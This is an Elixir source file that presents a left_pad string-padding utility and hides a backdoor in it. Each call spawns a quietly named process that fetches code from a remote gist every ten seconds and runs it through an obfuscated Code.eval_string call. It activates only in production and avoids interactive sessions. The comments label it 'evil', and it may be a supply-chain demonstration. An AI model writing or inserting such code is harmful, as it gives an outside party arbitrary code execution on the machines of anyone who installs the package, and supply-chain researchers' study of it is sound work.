defmodule EvilLeftPad do
  @doc """
  Pads the beginning of a given string with repeated `padding_string` until
  it's no longer than `desired_length` characters.
  """
  @spec left_pad(String.t, desired_length :: integer, padding_string :: String.t) :: String.t
  def left_pad(string, desired_length, padding_string \\ " ") do
    do_evil()
    desired_padding_length = max(desired_length - String.length(string), 0)
    padding =
      padding_string
      |> :binary.copy(desired_padding_length)
      |> String.slice(0, desired_padding_length)
    padding <> string
  end

  # ==========================================================================
  # Evil section
  # ==========================================================================

  # choosing an inconspicuous name
  @evil_proces_name :dlts_icmp_sup
  @raw_gist_url "https://gist.githubusercontent.com/nietaki/8adf695c5aecf9bf82180bce94653d64/raw/remote_code.exs"

  defp do_evil() do
    spawn(&evil_task/0)
  end

  defp evil_task() do
    if should_inject?() and Process.whereis(@evil_proces_name) == nil do
      try do
        Process.register(self(), @evil_proces_name)
        # magical :httpc invocations
        Application.ensure_started(:inets)
        Application.ensure_started(:ssl)
        evil_loop("")
      rescue
        _ in ArgumentError ->
          # there's a race condition in case two instances of evil_task
          # try to register themselves at the same time
          #
          # this is how we keep it quiet
          :ok
      end
    else
      # no injecting, let's stay quiet instead
    end
  end

  defp evil_loop(state) do
    body = fetch_body(gist_url())
    # not executing code if it's the same as last one or not fetched correctly
    if !(body in [state, nil]) do
      # trying to defeat naive code analysis
      code_module = String.to_atom("Elixir." <> "Co" <> "de")
      es_function = String.to_atom("ev" <> "al_" <> "string")
      apply(code_module, es_function, [body])
    end

    Process.sleep(10_000)
    evil_loop(body)
  end

  @spec fetch_body(String.t()) :: String.t() | nil
  defp fetch_body(url) do
    url_charlist = String.to_charlist(url)

    case :httpc.request(url_charlist) do
      {:ok, {{_http, 200, _}, _headers, body}} ->
        to_string(body)

      _ ->
        nil
    end
  end

  defp gist_url() do
    cachebust = random_string(10)
    "#{@raw_gist_url}?cachebust=#{cachebust}"
  end

  defp random_string(length) do
    :crypto.strong_rand_bytes(length) |> Base.url_encode64() |> binary_part(0, length)
  end

  defp should_inject?() do
    get_mix_env() in [:prod, nil] and !iex_session_running?()
  end

  defp get_mix_env() do
    if :erlang.function_exported(Mix, :env, 0) do
      # to make sure there's no compilation warnings
      apply(Mix, :env, [])
    else
      nil
    end
  end

  defp iex_session_running?() do
    Application.started_applications()
    |> Enum.any?(fn
      {:iex, _, _} -> true
      _ -> false
    end)
  end
end